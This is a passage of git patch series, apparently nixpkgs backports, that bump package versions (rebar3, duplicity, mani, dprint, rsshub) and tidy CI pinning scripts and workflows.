     # Undoes part of the above PR: We don't want to require write access
     # to the repository, that's only needed for GitHub's native CODEOWNERS.
-    # Furthermore, it removes an unneccessary check from the code
+    # Furthermore, it removes an unnecessary check from the code
     # that breaks tokens generated for GitHub Apps.
     ./permissions.patch
     # Allows setting a custom CODEOWNERS path using the OWNERS_FILE env var

From eb7464a00df7ae711f5e3e92a87e9f0669725a7a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 31 May 2025 13:14:28 +0000
Subject: [PATCH 0469/4511] beam26Packages.rebar3: 3.24.0 -> 3.25.0

(cherry picked from commit ba3f75ca014ceac3183766f60fe33e431647f102)
---
 pkgs/development/tools/build-managers/rebar3/default.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/build-managers/rebar3/default.nix b/pkgs/development/tools/build-managers/rebar3/default.nix
index a84a7ef6dac7..6cfedadca7d8 100644
--- a/pkgs/development/tools/build-managers/rebar3/default.nix
+++ b/pkgs/development/tools/build-managers/rebar3/default.nix
@@ -12,11 +12,12 @@
   git,
   gnused,
   nix,
+  nixfmt-rfc-style,
   rebar3-nix,
 }:
 
 let
-  version = "3.24.0";
+  version = "3.25.0";
   owner = "erlang";
   deps = import ./rebar-deps.nix { inherit fetchFromGitHub fetchgit fetchHex; };
   rebar3 = stdenv.mkDerivation rec {
@@ -29,7 +30,7 @@ let
       inherit owner;
       repo = pname;
       rev = version;
-      sha256 = "OhzgDipFhscHtRGlfc33ZewBgHgQLa9Zhjby/r1m49A=";
+      sha256 = "uiKgB+YuqKnfs9TZbnudp6TZd6ZGXfpF9c8jJffCs/U=";
     };
 
     buildInputs = [ erlang ];
@@ -94,6 +95,7 @@ let
           git
           gnused
           nix
+          nixfmt-rfc-style
           (rebar3WithPlugins { globalPlugins = [ rebar3-nix ]; })
         ]
       }
@@ -105,6 +107,7 @@ let
         tmpdir=$(mktemp -d)
         cp -R $(nix-build $nixpkgs --no-out-link -A rebar3.src)/* "$tmpdir"
         (cd "$tmpdir" && rebar3 as test nix lock -o "$nix_path/rebar-deps.nix")
+        nixfmt "$nix_path/rebar-deps.nix"
       else
         echo "rebar3 is already up-to-date"
       fi

From b9c00ac6d5559977b64125a5657b0294c33d91f2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 31 May 2025 12:00:56 +0000
Subject: [PATCH 0470/4511] duplicity: 3.0.4 -> 3.0.4.1

(cherry picked from commit b782b7e8451be4755b520fdb34d3f552ca5f915d)
---
 pkgs/by-name/du/duplicity/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/du/duplicity/package.nix b/pkgs/by-name/du/duplicity/package.nix
index 682137beb903..b8d2d4f6392d 100644
--- a/pkgs/by-name/du/duplicity/package.nix
+++ b/pkgs/by-name/du/duplicity/package.nix
@@ -22,13 +22,13 @@
 let
   self = python3.pkgs.buildPythonApplication rec {
     pname = "duplicity";
-    version = "3.0.4";
+    version = "3.0.4.1";
 
     src = fetchFromGitLab {
       owner = "duplicity";
       repo = "duplicity";
       rev = "rel.${version}";
-      hash = "sha256-FoaKuB0mo2RFksMHnIUx984+h/U0tdvk+bvsuYt3r5g=";
+      hash = "sha256-cVzGdn3a9/Kvu/QYWaTXJ1llkPRvj0g8qb7TUjennws=";
     };
 
     patches = [

From 6cd07a66ae6493716922daed22d10a030b2927f4 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 17:10:18 +0200
Subject: [PATCH 0471/4511] workflows/dismissed-review: drop

This doesn't work, because it doesn't have the required permissions to
make any modifications.

(cherry picked from commit 7bcf9ade60603921f46e267461e0e157bd89adfb)
---
 .github/workflows/dismissed-review.yml | 30 --------------------------
 1 file changed, 30 deletions(-)
 delete mode 100644 .github/workflows/dismissed-review.yml

diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
deleted file mode 100644
index 9886dad2b74e..000000000000
--- a/.github/workflows/dismissed-review.yml
+++ /dev/null
@@ -1,30 +0,0 @@
-name: Dismissed Review
-
-on:
-  pull_request_review:
-    types: [dismissed]
-
-permissions:
-  pull-requests: write
-
-jobs:
-  # The check-cherry-picks workflow creates review comments,
-  # that should sometimes be manually dismissed.
-  # When a CI-generated review is dismissed, this job automatically
-  # minimizes it, to prevent it from cluttering the PR.
-  minimize:
-    name: Minimize as resolved
-    if: github.event.review.user.login == 'github-actions[bot]'
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        with:
-          script: |
-            await github.graphql(`mutation($node_id:ID!) {
-              minimizeComment(input: {
-                classifier: RESOLVED,
-                subjectId: $node_id
-              })
-              { clientMutationId }
-            }`, { node_id: context.payload.review.node_id })
-

From f46d4a8def50a7b26367acc33fea091647245fce Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 19:09:00 +0200
Subject: [PATCH 0472/4511] ci/nixpkgs-vet: remove left-over pin

We're now consuming nixpkgs-vet from the pinned-nixpkgs, but apparently
forgot to remove all of this.

(cherry picked from commit f2479721e4d19357bbe5c2a9287cc74ed6dd6475)
---
 ci/README.md                         | 20 --------------------
 ci/nixpkgs-vet.sh                    |  3 ---
 ci/nixpkgs-vet/pinned-version.txt    |  1 -
 ci/nixpkgs-vet/update-pinned-tool.sh | 22 ----------------------
 4 files changed, 46 deletions(-)
 delete mode 100644 ci/nixpkgs-vet/pinned-version.txt
 delete mode 100755 ci/nixpkgs-vet/update-pinned-tool.sh

diff --git a/ci/README.md b/ci/README.md
index 7fcda96e3480..67f55d15e548 100644
--- a/ci/README.md
+++ b/ci/README.md
@@ -20,23 +20,3 @@ Arguments:
 
 - `BASE_BRANCH`: The base branch to use, e.g. master or release-24.05
 - `REPOSITORY`: The repository from which to fetch the base branch. Defaults to <https://github.com/NixOS/nixpkgs.git>.
-
-## `ci/nixpkgs-vet`
-
-This directory contains scripts and files used and related to [`nixpkgs-vet`](https://github.com/NixOS/nixpkgs-vet/), which the CI uses to implement `pkgs/by-name` checks, along with many other Nixpkgs architecture rules.
-See also the [CI GitHub Action](../.github/workflows/nixpkgs-vet.yml).
-
-## `ci/nixpkgs-vet/update-pinned-tool.sh`
-
-Updates the pinned [`nixpkgs-vet` tool](https://github.com/NixOS/nixpkgs-vet) in [`ci/nixpkgs-vet/pinned-version.txt`](./nixpkgs-vet/pinned-version.txt) to the latest [release](https://github.com/NixOS/nixpkgs-vet/releases).
-
-Each release contains a pre-built `x86_64-linux` version of the tool which is used by CI.
-
-This script currently needs to be called manually when the CI tooling needs to be updated.
-
-Why not just build the tooling right from the PRs Nixpkgs version?
-
-- Because it allows CI to check all PRs, even if they would break the CI tooling.
-- Because it makes the CI check very fast, since no Nix builds need to be done, even for mass rebuilds.
-- Because it improves security, since we don't have to build potentially untrusted code from PRs.
-  The tool only needs a very minimal Nix evaluation at runtime, which can work with [readonly-mode](https://nixos.org/manual/nix/stable/command-ref/opt-common.html#opt-readonly-mode) and [restrict-eval](https://nixos.org/manual/nix/stable/command-ref/conf-file.html#conf-restrict-eval).
diff --git a/ci/nixpkgs-vet.sh b/ci/nixpkgs-vet.sh
index b62e04fe0177..8ad2a35adfa0 100755
--- a/ci/nixpkgs-vet.sh
+++ b/ci/nixpkgs-vet.sh
@@ -61,9 +61,6 @@ trace "Done"
 trace -n "Merging base branch into the HEAD commit in $tmp/merged.. "
 git -C "$tmp/merged" merge -q --no-edit "$baseSha"
 trace -e "\e[34m$(git -C "$tmp/merged" rev-parse HEAD)\e[0m"
-trace -n "Reading pinned nixpkgs-vet version from pinned-version.txt.. "
-toolVersion=$(<"$tmp/merged/ci/nixpkgs-vet/pinned-version.txt")
-trace -e "\e[34m$toolVersion\e[0m"
 
 trace "Running nixpkgs-vet.."
 nix-build ci -A nixpkgs-vet --argstr base "$tmp/base" --argstr head "$tmp/merged"
diff --git a/ci/nixpkgs-vet/pinned-version.txt b/ci/nixpkgs-vet/pinned-version.txt
deleted file mode 100644
index 845639eef26c..000000000000
--- a/ci/nixpkgs-vet/pinned-version.txt
+++ /dev/null
@@ -1 +0,0 @@
-0.1.4
diff --git a/ci/nixpkgs-vet/update-pinned-tool.sh b/ci/nixpkgs-vet/update-pinned-tool.sh
deleted file mode 100755
index 78a9ae2411b8..000000000000
--- a/ci/nixpkgs-vet/update-pinned-tool.sh
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p jq curl
-
-set -o pipefail -o errexit -o nounset
-
-trace() { echo >&2 "$@"; }
-
-SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
-
-repository=NixOS/nixpkgs-vet
-pin_file=$SCRIPT_DIR/pinned-version.txt
-
-trace -n "Fetching latest release of $repository.. "
-latestRelease=$(curl -sSfL \
-  -H "Accept: application/vnd.github+json" \
-  -H "X-GitHub-Api-Version: 2022-11-28" \
-  https://api.github.com/repos/"$repository"/releases/latest)
-latestVersion=$(jq .tag_name -r <<< "$latestRelease")
-trace "$latestVersion"
-
-trace "Updating $pin_file"
-echo "$latestVersion" > "$pin_file"

From 450ed98b7435e12876bf6e86e3f23ea90a4801f3 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 19:09:58 +0200
Subject: [PATCH 0473/4511] ci/pinned: manage nixpkgs and treefmt-nix with
 npins

Instead of rolling our own update script which only works for a single
pin, let's use npins. We can then use it for the treefmtNix pin as well,
which was mostly unmaintained, so far.

(cherry picked from commit f7c25f0bf987f8a276d39a30075d067f54ad5b3e)
---
 ci/README.md                |  4 ++--
 ci/default.nix              | 11 +++++------
 ci/pinned-nixpkgs.json      |  4 ----
 ci/pinned.json              | 31 +++++++++++++++++++++++++++++++
 ci/update-pinned-nixpkgs.sh | 17 -----------------
 ci/update-pinned.sh         |  8 ++++++++
 6 files changed, 46 insertions(+), 29 deletions(-)
 delete mode 100644 ci/pinned-nixpkgs.json
 create mode 100644 ci/pinned.json
 delete mode 100755 ci/update-pinned-nixpkgs.sh
 create mode 100755 ci/update-pinned.sh

diff --git a/ci/README.md b/ci/README.md
index 67f55d15e548..66fb707ebec5 100644
--- a/ci/README.md
+++ b/ci/README.md
@@ -7,9 +7,9 @@ This is in contrast with [`maintainers/scripts`](../maintainers/scripts) which i
 
 CI may need certain packages from Nixpkgs.
 In order to ensure that the needed packages are generally available without building,
-[`pinned-nixpkgs.json`](./pinned-nixpkgs.json) contains a pinned Nixpkgs version tested by Hydra.
+[`pinned.json`](./pinned.json) contains a pinned Nixpkgs version tested by Hydra.
 
-Run [`update-pinned-nixpkgs.sh`](./update-pinned-nixpkgs.sh) to update it.
+Run [`update-pinned.sh`](./update-pinned.sh) to update it.
 
 ## `ci/nixpkgs-vet.sh BASE_BRANCH [REPOSITORY]`
 
diff --git a/ci/default.nix b/ci/default.nix
index 94d049903fca..ec35121bb24b 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -1,5 +1,5 @@
 let
-  pinnedNixpkgs = builtins.fromJSON (builtins.readFile ./pinned-nixpkgs.json);
+  pinned = (builtins.fromJSON (builtins.readFile ./pinned.json)).pins;
 in
 {
   system ? builtins.currentSystem,
@@ -10,8 +10,8 @@ let
   nixpkgs' =
     if nixpkgs == null then
       fetchTarball {
-        url = "https://github.com/NixOS/nixpkgs/archive/${pinnedNixpkgs.rev}.tar.gz";
-        sha256 = pinnedNixpkgs.sha256;
+        inherit (pinned.nixpkgs) url;
+        sha256 = pinned.nixpkgs.hash;
       }
     else
       nixpkgs;
@@ -25,9 +25,8 @@ let
   fmt =
     let
       treefmtNixSrc = fetchTarball {
-        # Master at 2025-02-12
-        url = "https://github.com/numtide/treefmt-nix/archive/4f09b473c936d41582dd744e19f34ec27592c5fd.tar.gz";
-        sha256 = "051vh6raskrxw5k6jncm8zbk9fhbzgm1gxpq9gm5xw1b6wgbgcna";
+        inherit (pinned.treefmt-nix) url;
+        sha256 = pinned.treefmt-nix.hash;
       };
       treefmtEval = (import treefmtNixSrc).evalModule pkgs {
         # Important: The auto-rebase script uses `git filter-branch --tree-filter`,
diff --git a/ci/pinned-nixpkgs.json b/ci/pinned-nixpkgs.json
deleted file mode 100644
index 7a9596380c41..000000000000
--- a/ci/pinned-nixpkgs.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "rev": "3d1f29646e4b57ed468d60f9d286cde23a8d1707",
-  "sha256": "1wzvc9h9a6l9wyhzh892xb5x88kxmbzxb1k8s7fizyyw2q4nqw07"
-}
diff --git a/ci/pinned.json b/ci/pinned.json
new file mode 100644
index 000000000000..9748d218f5ea
--- /dev/null
+++ b/ci/pinned.json
@@ -0,0 +1,31 @@
+{
+  "pins": {
+    "nixpkgs": {
+      "type": "Git",
+      "repository": {
+        "type": "GitHub",
+        "owner": "NixOS",
+        "repo": "nixpkgs"
+      },
+      "branch": "nixpkgs-unstable",
+      "submodules": false,
+      "revision": "3d1f29646e4b57ed468d60f9d286cde23a8d1707",
+      "url": "https://github.com/NixOS/nixpkgs/archive/3d1f29646e4b57ed468d60f9d286cde23a8d1707.tar.gz",
+      "hash": "1wzvc9h9a6l9wyhzh892xb5x88kxmbzxb1k8s7fizyyw2q4nqw07"
+    },
+    "treefmt-nix": {
+      "type": "Git",
+      "repository": {
+        "type": "GitHub",
+        "owner": "numtide",
+        "repo": "treefmt-nix"
+      },
+      "branch": "main",
+      "submodules": false,
+      "revision": "4f09b473c936d41582dd744e19f34ec27592c5fd",
+      "url": "https://github.com/numtide/treefmt-nix/archive/4f09b473c936d41582dd744e19f34ec27592c5fd.tar.gz",
+      "hash": "051vh6raskrxw5k6jncm8zbk9fhbzgm1gxpq9gm5xw1b6wgbgcna"
+    }
+  },
+  "version": 5
+}
diff --git a/ci/update-pinned-nixpkgs.sh b/ci/update-pinned-nixpkgs.sh
deleted file mode 100755
index d44b59d80ede..000000000000
--- a/ci/update-pinned-nixpkgs.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p jq
-
-set -euo pipefail
-
-# https://stackoverflow.com/a/246128
-SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
-
-repo=https://github.com/nixos/nixpkgs
-branch=nixpkgs-unstable
-file=$SCRIPT_DIR/pinned-nixpkgs.json
-
-defaultRev=$(git ls-remote "$repo" refs/heads/"$branch" | cut -f1)
-rev=${1:-$defaultRev}
-sha256=$(nix-prefetch-url --unpack "$repo/archive/$rev.tar.gz" --name source)
-
-jq -n --arg rev "$rev" --arg sha256 "$sha256" '$ARGS.named' | tee /dev/stderr > $file
diff --git a/ci/update-pinned.sh b/ci/update-pinned.sh
new file mode 100755
index 000000000000..7e3a26695fe8
--- /dev/null
+++ b/ci/update-pinned.sh
@@ -0,0 +1,8 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p npins
+
+set -euo pipefail
+
+cd "$(dirname "${BASH_SOURCE[0]}")"
+
+npins --lock-file pinned.json update

From 473f384eed34009c7e7d5a69b3b946e4638af836 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 19:19:26 +0200
Subject: [PATCH 0474/4511] ci/pinned: update

From the nixpkgs-unstable channel:
https://hydra.nixos.org/eval/1815701#tabs-inputs

(cherry picked from commit f0923df7f5df3f1c4cfab52ba7a90fdcb2669953)
---
 ci/pinned.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/ci/pinned.json b/ci/pinned.json
index 9748d218f5ea..f29d17f7aa6c 100644
--- a/ci/pinned.json
+++ b/ci/pinned.json
@@ -9,9 +9,9 @@
       },
       "branch": "nixpkgs-unstable",
       "submodules": false,
-      "revision": "3d1f29646e4b57ed468d60f9d286cde23a8d1707",
-      "url": "https://github.com/NixOS/nixpkgs/archive/3d1f29646e4b57ed468d60f9d286cde23a8d1707.tar.gz",
-      "hash": "1wzvc9h9a6l9wyhzh892xb5x88kxmbzxb1k8s7fizyyw2q4nqw07"
+      "revision": "8ca7ec685bbee55d6dcb326abe23945c0806c39e",
+      "url": "https://github.com/NixOS/nixpkgs/archive/8ca7ec685bbee55d6dcb326abe23945c0806c39e.tar.gz",
+      "hash": "1hkxm871m66mjsc4acdki32qqnpgk3n6vi3zrzns2bwlwp6ivcjx"
     },
     "treefmt-nix": {
       "type": "Git",
@@ -22,9 +22,9 @@
       },
       "branch": "main",
       "submodules": false,
-      "revision": "4f09b473c936d41582dd744e19f34ec27592c5fd",
-      "url": "https://github.com/numtide/treefmt-nix/archive/4f09b473c936d41582dd744e19f34ec27592c5fd.tar.gz",
-      "hash": "051vh6raskrxw5k6jncm8zbk9fhbzgm1gxpq9gm5xw1b6wgbgcna"
+      "revision": "1f3f7b784643d488ba4bf315638b2b0a4c5fb007",
+      "url": "https://github.com/numtide/treefmt-nix/archive/1f3f7b784643d488ba4bf315638b2b0a4c5fb007.tar.gz",
+      "hash": "13qisjalw9qvd6lkd9g8225r46j5wdjrp3zw6jrs81q2vxwdz37m"
     }
   },
   "version": 5

From 60083e618deaf3b4e265d95f7effcf6804f22994 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 2 Jun 2025 18:06:43 +0200
Subject: [PATCH 0475/4511] labels: remove automatic backport for CI

This will be done from master directly now.
---
 .github/labeler-no-sync.yml | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/.github/labeler-no-sync.yml b/.github/labeler-no-sync.yml
index f47b3aaece59..daffb16e30ae 100644
--- a/.github/labeler-no-sync.yml
+++ b/.github/labeler-no-sync.yml
@@ -22,11 +22,4 @@
         - doc/**/*
         - nixos/doc/**/*
 
-"backport release-24.11":
-  - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - .github/workflows/*
-        - ci/**/*.*
-
 # keep-sorted end

From e7de1d4e160b70c22ade4dd98bad2af4b50cef50 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 26 May 2025 19:24:14 +0000
Subject: [PATCH 0476/4511] mani: 0.30.1 -> 0.31.0

(cherry picked from commit ff8c965f83280d6b08c6788a351ad6491c3d7db2)
---
 pkgs/by-name/ma/mani/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mani/package.nix b/pkgs/by-name/ma/mani/package.nix
index a2056229b6e1..d86c18087c2f 100644
--- a/pkgs/by-name/ma/mani/package.nix
+++ b/pkgs/by-name/ma/mani/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "mani";
-  version = "0.30.1";
+  version = "0.31.0";
 
   src = fetchFromGitHub {
     owner = "alajmo";
     repo = "mani";
     tag = "v${finalAttrs.version}";
-    sha256 = "sha256-BD9NpWaaBBVHWJesXsJJmFV51n+JOFGtYOH73PvSxv4=";
+    sha256 = "sha256-sV3yxtLlOTtCCj0kNstJ07cvI+B+rL4QNPQKGo98V6A=";
   };
 
   vendorHash = "sha256-PnQocOtnIBl0+5mDG7irEqGjAnzJ9Wk/fA4NW/nU+zw=";

From c6b023bb7492e628afbaf143533690ad5a09ae90 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Mon, 19 May 2025 09:48:44 +0900
Subject: [PATCH 0477/4511] dprint: 0.49.1 -> 0.50.0

Diff: https://github.com/dprint/dprint/compare/0.49.1...0.50.0
(cherry picked from commit d7d9f0008fe9e20a42934287ccb795cbd4674246)
---
 pkgs/by-name/dp/dprint/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix
index fcb400baf9a4..fe27c3c1eed9 100644
--- a/pkgs/by-name/dp/dprint/package.nix
+++ b/pkgs/by-name/dp/dprint/package.nix
@@ -11,7 +11,7 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "dprint";
-  version = "0.49.1";
+  version = "0.50.0";
 
   # Prefer repository rather than crate here
   #   - They have Cargo.lock in the repository
@@ -20,11 +20,11 @@ rustPlatform.buildRustPackage rec {
     owner = "dprint";
     repo = "dprint";
     tag = version;
-    hash = "sha256-6ye9FqOGW40TqoDREQm6pZAQaSuO2o9SY5RSfpmwKV4=";
+    hash = "sha256-6AgbKH5f7N/yYqq7KBVHOqYbyuZkjFSaYwZwIXsgd9o=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-OHRXujyewiDlY4AQEEqmcnmdec1lbWH/y6tPW1nNExE=";
+  cargoHash = "sha256-OnrsuVK1gEDweldq+P8lDkkrHjklsG8MRpM0wqWsdlM=";
 
   nativeBuildInputs = lib.optionals (stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
     installShellFiles

From f9161e60236012ca30f1ca4d9079328f0774e55b Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Mon, 19 May 2025 10:53:37 +0900
Subject: [PATCH 0478/4511] dprint-plugins: disable automatic config discovery
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The opt‑out switch was added in dprint 0.50.0.

(cherry picked from commit 95d37034c69bc20c49aefadd89e8bd1a030b380b)
---
 pkgs/by-name/dp/dprint/plugins/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/dp/dprint/plugins/default.nix b/pkgs/by-name/dp/dprint/plugins/default.nix
index 94dc9db6819c..810d5d23481c 100644
--- a/pkgs/by-name/dp/dprint/plugins/default.nix
+++ b/pkgs/by-name/dp/dprint/plugins/default.nix
@@ -47,7 +47,7 @@ let
         runHook preInstallCheck
 
         mkdir empty && cd empty
-        dprint check --allow-no-files --plugins "$out/plugin.wasm"
+        dprint check --allow-no-files --config-discovery=false --plugins "$out/plugin.wasm"
 
         runHook postInstallCheck
       '';

From b153f5c0b087b296dd17c6e39b656646ba3a3354 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Mon, 19 May 2025 10:47:11 +0900
Subject: [PATCH 0479/4511] dprint: prefer finalAttrs

(cherry picked from commit 26b6177f6fa08e6a0acbbe0045dfab00ed237bda)
---
 pkgs/by-name/dp/dprint/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix
index fe27c3c1eed9..46dfd528d635 100644
--- a/pkgs/by-name/dp/dprint/package.nix
+++ b/pkgs/by-name/dp/dprint/package.nix
@@ -9,7 +9,7 @@
   dprint,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "dprint";
   version = "0.50.0";
 
@@ -19,7 +19,7 @@ rustPlatform.buildRustPackage rec {
   src = fetchFromGitHub {
     owner = "dprint";
     repo = "dprint";
-    tag = version;
+    tag = finalAttrs.version;
     hash = "sha256-6AgbKH5f7N/yYqq7KBVHOqYbyuZkjFSaYwZwIXsgd9o=";
   };
 
@@ -50,7 +50,7 @@ rustPlatform.buildRustPackage rec {
 
   passthru = {
     tests.version = testers.testVersion {
-      inherit version;
+      inherit (finalAttrs) version;
 
       package = dprint;
       command = ''
@@ -68,7 +68,7 @@ rustPlatform.buildRustPackage rec {
       It offers multiple WASM plugins to support various languages. It's written in
       Rust, so it’s small, fast, and portable.
     '';
-    changelog = "https://github.com/dprint/dprint/releases/tag/${version}";
+    changelog = "https://github.com/dprint/dprint/releases/tag/${finalAttrs.version}";
     homepage = "https://dprint.dev";
     license = licenses.mit;
     maintainers = with maintainers; [
@@ -78,4 +78,4 @@ rustPlatform.buildRustPackage rec {
     ];
     mainProgram = "dprint";
   };
-}
+})

From 4456b2317fa43bbfbeb42c5cc0e9a80244ce85d4 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Mon, 19 May 2025 10:43:15 +0900
Subject: [PATCH 0480/4511] dprint: remove unintended bin/test-process-plugin

This test helper slipped in with commit c329f0625c80 but has never been needed by end users.

(cherry picked from commit 7f6c746f45a8dc0284189b6ac18c11be8dd16404)
---
 pkgs/by-name/dp/dprint/package.nix | 28 +++++++++++++++++++++-------
 1 file changed, 21 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix
index 46dfd528d635..76da0cdd957b 100644
--- a/pkgs/by-name/dp/dprint/package.nix
+++ b/pkgs/by-name/dp/dprint/package.nix
@@ -30,6 +30,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
     installShellFiles
   ];
 
+  cargoBuildFlags = [
+    "--package=dprint"
+    # Required only for dprint package tests; the binary is removed in postInstall.
+    "--package=test-process-plugin"
+  ];
+
+  cargoTestFlags = [
+    "--package=dprint"
+  ];
+
   checkFlags = [
     # Require creating directory and network access
     "--skip=plugins::cache_fs_locks::test"
@@ -40,13 +50,17 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "--skip=utils::url::test::unsafe_ignore_cert"
   ];
 
-  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-    export DPRINT_CACHE_DIR="$(mktemp -d)"
-    installShellCompletion --cmd dprint \
-      --bash <($out/bin/dprint completions bash) \
-      --zsh <($out/bin/dprint completions zsh) \
-      --fish <($out/bin/dprint completions fish)
-  '';
+  postInstall =
+    ''
+      rm "$out/bin/test-process-plugin"
+    ''
+    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+      export DPRINT_CACHE_DIR="$(mktemp -d)"
+      installShellCompletion --cmd dprint \
+        --bash <($out/bin/dprint completions bash) \
+        --zsh <($out/bin/dprint completions zsh) \
+        --fish <($out/bin/dprint completions fish)
+    '';
 
   passthru = {
     tests.version = testers.testVersion {

From a939b1052c315c37a3460697e94c2b95e50c6b2c Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Sat, 31 May 2025 15:42:23 +0530
Subject: [PATCH 0481/4511] rsshub: 0-unstable-2025-02-03 ->
 0-unstable-2025-05-31

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit b57b6e8398fb91da714bd79741726b9aece8fe92)
---
 .../rs/rsshub/0002-fix-network-call.patch      | 18 ++++++++++++++++++
 pkgs/by-name/rs/rsshub/package.nix             |  9 +++++----
 2 files changed, 23 insertions(+), 4 deletions(-)
 create mode 100644 pkgs/by-name/rs/rsshub/0002-fix-network-call.patch

diff --git a/pkgs/by-name/rs/rsshub/0002-fix-network-call.patch b/pkgs/by-name/rs/rsshub/0002-fix-network-call.patch
new file mode 100644
index 000000000000..61ac980109ef
--- /dev/null
+++ b/pkgs/by-name/rs/rsshub/0002-fix-network-call.patch
@@ -0,0 +1,18 @@
+diff --git a/scripts/workflow/build-routes.ts b/scripts/workflow/build-routes.ts
+index 9807cfc..b9dcfb9 100644
+--- a/scripts/workflow/build-routes.ts
++++ b/scripts/workflow/build-routes.ts
+@@ -4,6 +4,7 @@ import { parse } from 'tldts';
+ import fs from 'node:fs';
+ import path from 'node:path';
+ import toSource from 'tosource';
++import { exit } from 'node:process';
+
+ import { getCurrentPath } from '../../lib/utils/helpers';
+ const __dirname = getCurrentPath(import.meta.url);
+@@ -73,3 +74,5 @@ fs.writeFileSync(path.join(__dirname, '../../assets/build/radar-rules.js'), `(${
+ fs.writeFileSync(path.join(__dirname, '../../assets/build/maintainers.json'), JSON.stringify(maintainers, null, 2));
+ fs.writeFileSync(path.join(__dirname, '../../assets/build/routes.json'), JSON.stringify(namespaces, null, 2));
+ fs.writeFileSync(path.join(__dirname, '../../assets/build/routes.js'), `export default ${JSON.stringify(namespaces, null, 2)}`.replaceAll(/"module": "(.*)"\n/g, `"module": $1\n`));
++
++exit(0);
diff --git a/pkgs/by-name/rs/rsshub/package.nix b/pkgs/by-name/rs/rsshub/package.nix
index 3f5a3e557fde..82279ca1b697 100644
--- a/pkgs/by-name/rs/rsshub/package.nix
+++ b/pkgs/by-name/rs/rsshub/package.nix
@@ -9,24 +9,25 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "rsshub";
-  version = "0-unstable-2025-02-03";
+  version = "0-unstable-2025-05-31";
 
   src = fetchFromGitHub {
     owner = "DIYgod";
     repo = "RSSHub";
-    rev = "72f78e2bfbcf000a6f374a92894430cf845fd1fd";
-    hash = "sha256-okavLIYJZ+0iCsYtBc2r3FS18MVE/ap2OwRae7rWTrw=";
+    rev = "2dce2e32dd5f4dade2fc915ac8384c953e11cc83";
+    hash = "sha256-gS/t6O3MishJgi2K9hV22hT95oYHfm44cJqrUo2GPlM=";
   };
 
   patches = [
     (replaceVars ./0001-fix-git-hash.patch {
       "GIT_HASH" = finalAttrs.src.rev;
     })
+    ./0002-fix-network-call.patch
   ];
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-c16Ue5YiRWlF7ldt/8WLi1/xYhGqqr6XqvUieQbvbWg=";
+    hash = "sha256-7qh6YZbIH/kHVssDZxHY7X8bytrnMcUq0MiJzWZYItc=";
   };
 
   nativeBuildInputs = [

From 92735fbfbd61ba160e01f9bb5409ac14b75b2bba Mon Sep 17 00:00:00 2001
